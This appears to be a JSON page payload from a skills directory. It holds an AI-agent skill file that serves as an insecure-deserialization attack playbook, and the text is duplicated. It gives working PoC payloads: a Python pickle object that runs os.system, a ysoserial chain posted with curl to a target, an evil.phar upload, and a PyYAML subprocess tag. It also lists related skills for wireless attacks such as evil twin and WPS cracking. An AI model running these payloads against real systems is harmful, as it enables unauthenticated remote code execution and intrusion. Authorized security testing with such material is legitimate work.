[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797S89ACZP60DZPQ002G9KQ":3,"skill-same:01M797S89ACZP60DZPQ002G9KQ":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":30,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":33,"install":34,"resources":47},"01M797S89ACZP60DZPQ002G9KQ","deserialization",null,"Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream \u002F Jackson \u002F SnakeYAML, .NET BinaryFormatter \u002F DataContractJson, PHP unserialize, Ruby Marshal\u002FYAML.load, and Node.js vm. Direct path to unauthenticated RCE.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fdeserialization\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: deserialization\ndescription: Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream \u002F Jackson \u002F SnakeYAML, .NET BinaryFormatter \u002F DataContractJson, PHP unserialize, Ruby Marshal\u002FYAML.load, and Node.js vm. Direct path to unauthenticated RCE.\nmetadata:\n  subdomain: web-exploitation\n  when_to_use: \"insecure deserialization cwe-502 pickle jackson snakeyaml binaryformatter datacontractjson unserialize marshal yaml load node vm gadget chain\"\n---\n\n# Insecure Deserialization Playbook\n\nDeserialization is the single most reliable path from a byte string under\nuser control to unauthenticated remote code execution. Modern frameworks\nhave tried to wall this off, but chained-gadget attacks (ysoserial,\nysoserial.net, marshalsec, phpggc) still make this a top-tier finding.\n\n## 1. Sources (user-controlled data that becomes an object)\n\n- HTTP body, cookie, header, query param\n- Message queue payload (Kafka, RabbitMQ, SQS)\n- File upload parsed as config\n- WebSocket messages\n- Inter-service RPC\n\n## 2. Dangerous sinks by language\n\n### Python\n- `pickle.loads` \u002F `pickle.load` \u002F `pickle.Unpickler`\n- `dill.loads`, `cloudpickle.loads`, `shelve.open`\n- `yaml.load()` *without* `Loader=SafeLoader`\n- `jsonpickle.decode`\n- `numpy.load(allow_pickle=True)`\n- `torch.load` (loads pickled tensors → RCE)\n- `joblib.load`\n- `marshal.loads`\n\n```bash\ngrep -rE 'pickle\\.loads?\\(|yaml\\.load\\([^)]*Loader=(FullLoader|Loader)?\\)|torch\\.load\\(' \u002Fworkspace\u002Fsrc\nsemgrep --config p\u002Finsecure-transport --config p\u002Fpython \u002Fworkspace\u002Fsrc -o \u002Fworkspace\u002Fsem-deser.sarif\n```\n\n### Java\n- `ObjectInputStream.readObject`\n- `XMLDecoder.readObject`\n- `Jackson ObjectMapper` with default typing + polymorphic types\n- `SnakeYAML` `Yaml.load()` (before 2.0) — RCE via `!!javax.script.ScriptEngineManager`\n- `XStream` without whitelist\n- `Hessian`, `Kryo` with registration disabled\n\nGadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)\n\n### .NET\n- `BinaryFormatter.Deserialize` (deprecated but still common)\n- `SoapFormatter`, `LosFormatter`, `ObjectStateFormatter`\n- `JavaScriptSerializer` with `SimpleTypeResolver`\n- `Json.NET` with `TypeNameHandling != None`\n\n### PHP\n- `unserialize()` on any user input\n- PHAR uploads — `file_exists(\"phar:\u002F\u002Fupload.phar\")` triggers deser\n- Laravel `decrypt()` → `unserialize` (pre-patched APP_KEY leak chain)\n\n### Ruby\n- `Marshal.load`\n- `YAML.load` (before Psych 4 safe default)\n- `Oj.load` without `mode: :rails`\n\n### Node.js\n- `node-serialize` `unserialize()`\n- `serialize-to-js` `deserialize()`\n- `vm.runInNewContext(userInput)` — not technically deser but same impact\n\n## 3. Gadget chain availability\n\nA sink is only exploitable if the right gadget classes are on the classpath.\nCheck the lockfile \u002F vendored deps for known gadget-rich libraries:\n\n```bash\n# Java\nfind \u002Fworkspace\u002Fsrc -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +\n\n# Python\ngrep -rE 'torch|numpy.*allow_pickle|jinja2' \u002Fworkspace\u002Fsrc\u002Frequirements*.txt\n\n# Node\njq '.dependencies | keys[]' \u002Fworkspace\u002Fsrc\u002Fpackage.json | grep -E 'lodash|ejs|handlebars'\n```\n\n## 4. Taint audit workflow\n\n1. Identify every source (HTTP body\u002Fcookie\u002Fheader handlers).\n2. Trace the data through:\n   - Explicit `.loads\u002F.readObject\u002Funserialize` calls\n   - Framework magic (Spring `@RequestBody` with default typing)\n   - File uploads parsed as config\n3. For each confirmed source-to-sink path, check gadget availability on\n   the classpath.\n4. Record as graph vulnerability node. If no gadgets are currently\n   available, mark `exploitability=\"conditional\"` — the dep upgrade that\n   ships the gadget class is a time bomb.\n\n## 5. PoC templates\n\n### Python pickle (direct)\n```python\nimport pickle, base64, os\nclass E:\n    def __reduce__(self): return (os.system, (\"id > \u002Ftmp\u002Fpwn\",))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n```\nSend as cookie\u002Fbody; success = `\u002Ftmp\u002Fpwn` present or command output reflected.\n\n### Java ysoserial\n```bash\njava -jar ysoserial.jar CommonsCollections5 'touch \u002Ftmp\u002Fpwn' | base64 -w0\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fimport -H \"Content-Type: application\u002Fx-java-serialized-object\" --data-binary @payload.set\n```\n\n### PHP PHAR\n```bash\nphp -d phar.readonly=0 build-phar.php\ncurl -F 'file=@evil.phar' https:\u002F\u002Ftarget.com\u002Fupload\n# Trigger: any filesystem call on phar:\u002F\u002F wrapper\n```\n\n### YAML (PyYAML \u003C safe default)\n```yaml\n!!python\u002Fobject\u002Fnew:subprocess.check_output [[\"id\"]]\n```\n\n## 6. Default CVSS\n\nAll unauthenticated deser → RCE are **10.0 critical**:\n`CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H`\n\nAuthenticated deser: drop PR to L → 9.9.\n\n## 7. Validation contract\n\n```python\nvalidate_finding(\n  vuln_id=...,\n  poc_command=\"curl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fimport --data-binary @payload.bin\",\n  success_patterns=\"uid=0|root@|pwned|\u002Ftmp\u002Fpwn\",\n  negative_command=\"curl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fimport --data 'benign'\",\n  negative_patterns=\"200|accepted\",\n  cvss_vector=\"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H\",\n)\n```\n","# Insecure Deserialization Playbook\n\nDeserialization is the single most reliable path from a byte string under\nuser control to unauthenticated remote code execution. Modern frameworks\nhave tried to wall this off, but chained-gadget attacks (ysoserial,\nysoserial.net, marshalsec, phpggc) still make this a top-tier finding.\n\n## 1. Sources (user-controlled data that becomes an object)\n\n- HTTP body, cookie, header, query param\n- Message queue payload (Kafka, RabbitMQ, SQS)\n- File upload parsed as config\n- WebSocket messages\n- Inter-service RPC\n\n## 2. Dangerous sinks by language\n\n### Python\n- `pickle.loads` \u002F `pickle.load` \u002F `pickle.Unpickler`\n- `dill.loads`, `cloudpickle.loads`, `shelve.open`\n- `yaml.load()` *without* `Loader=SafeLoader`\n- `jsonpickle.decode`\n- `numpy.load(allow_pickle=True)`\n- `torch.load` (loads pickled tensors → RCE)\n- `joblib.load`\n- `marshal.loads`\n\n```bash\ngrep -rE 'pickle\\.loads?\\(|yaml\\.load\\([^)]*Loader=(FullLoader|Loader)?\\)|torch\\.load\\(' \u002Fworkspace\u002Fsrc\nsemgrep --config p\u002Finsecure-transport --config p\u002Fpython \u002Fworkspace\u002Fsrc -o \u002Fworkspace\u002Fsem-deser.sarif\n```\n\n### Java\n- `ObjectInputStream.readObject`\n- `XMLDecoder.readObject`\n- `Jackson ObjectMapper` with default typing + polymorphic types\n- `SnakeYAML` `Yaml.load()` (before 2.0) — RCE via `!!javax.script.ScriptEngineManager`\n- `XStream` without whitelist\n- `Hessian`, `Kryo` with registration disabled\n\nGadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)\n\n### .NET\n- `BinaryFormatter.Deserialize` (deprecated but still common)\n- `SoapFormatter`, `LosFormatter`, `ObjectStateFormatter`\n- `JavaScriptSerializer` with `SimpleTypeResolver`\n- `Json.NET` with `TypeNameHandling != None`\n\n### PHP\n- `unserialize()` on any user input\n- PHAR uploads — `file_exists(\"phar:\u002F\u002Fupload.phar\")` triggers deser\n- Laravel `decrypt()` → `unserialize` (pre-patched APP_KEY leak chain)\n\n### Ruby\n- `Marshal.load`\n- `YAML.load` (before Psych 4 safe default)\n- `Oj.load` without `mode: :rails`\n\n### Node.js\n- `node-serialize` `unserialize()`\n- `serialize-to-js` `deserialize()`\n- `vm.runInNewContext(userInput)` — not technically deser but same impact\n\n## 3. Gadget chain availability\n\nA sink is only exploitable if the right gadget classes are on the classpath.\nCheck the lockfile \u002F vendored deps for known gadget-rich libraries:\n\n```bash\n# Java\nfind \u002Fworkspace\u002Fsrc -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +\n\n# Python\ngrep -rE 'torch|numpy.*allow_pickle|jinja2' \u002Fworkspace\u002Fsrc\u002Frequirements*.txt\n\n# Node\njq '.dependencies | keys[]' \u002Fworkspace\u002Fsrc\u002Fpackage.json | grep -E 'lodash|ejs|handlebars'\n```\n\n## 4. Taint audit workflow\n\n1. Identify every source (HTTP body\u002Fcookie\u002Fheader handlers).\n2. Trace the data through:\n   - Explicit `.loads\u002F.readObject\u002Funserialize` calls\n   - Framework magic (Spring `@RequestBody` with default typing)\n   - File uploads parsed as config\n3. For each confirmed source-to-sink path, check gadget availability on\n   the classpath.\n4. Record as graph vulnerability node. If no gadgets are currently\n   available, mark `exploitability=\"conditional\"` — the dep upgrade that\n   ships the gadget class is a time bomb.\n\n## 5. PoC templates\n\n### Python pickle (direct)\n```python\nimport pickle, base64, os\nclass E:\n    def __reduce__(self): return (os.system, (\"id > \u002Ftmp\u002Fpwn\",))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n```\nSend as cookie\u002Fbody; success = `\u002Ftmp\u002Fpwn` present or command output reflected.\n\n### Java ysoserial\n```bash\njava -jar ysoserial.jar CommonsCollections5 'touch \u002Ftmp\u002Fpwn' | base64 -w0\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fimport -H \"Content-Type: application\u002Fx-java-serialized-object\" --data-binary @payload.set\n```\n\n### PHP PHAR\n```bash\nphp -d phar.readonly=0 build-phar.php\ncurl -F 'file=@evil.phar' https:\u002F\u002Ftarget.com\u002Fupload\n# Trigger: any filesystem call on phar:\u002F\u002F wrapper\n```\n\n### YAML (PyYAML \u003C safe default)\n```yaml\n!!python\u002Fobject\u002Fnew:subprocess.check_output [[\"id\"]]\n```\n\n## 6. Default CVSS\n\nAll unauthenticated deser → RCE are **10.0 critical**:\n`CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H`\n\nAuthenticated deser: drop PR to L → 9.9.\n\n## 7. Validation contract\n\n```python\nvalidate_finding(\n  vuln_id=...,\n  poc_command=\"curl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fimport --data-binary @payload.bin\",\n  success_patterns=\"uid=0|root@|pwned|\u002Ftmp\u002Fpwn\",\n  negative_command=\"curl -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Fimport --data 'benign'\",\n  negative_patterns=\"200|accepted\",\n  cvss_vector=\"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H\",\n)\n```\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26},"web-exploitation","insecure deserialization cwe-502 pickle jackson snakeyaml binaryformatter datacontractjson unserialize marshal yaml load node vm gadget chain","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fdeserialization",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill deserialization",{"tool":40,"command":41},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill deserialization",{"tool":43,"command":44},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill deserialization","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fdeserialization\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]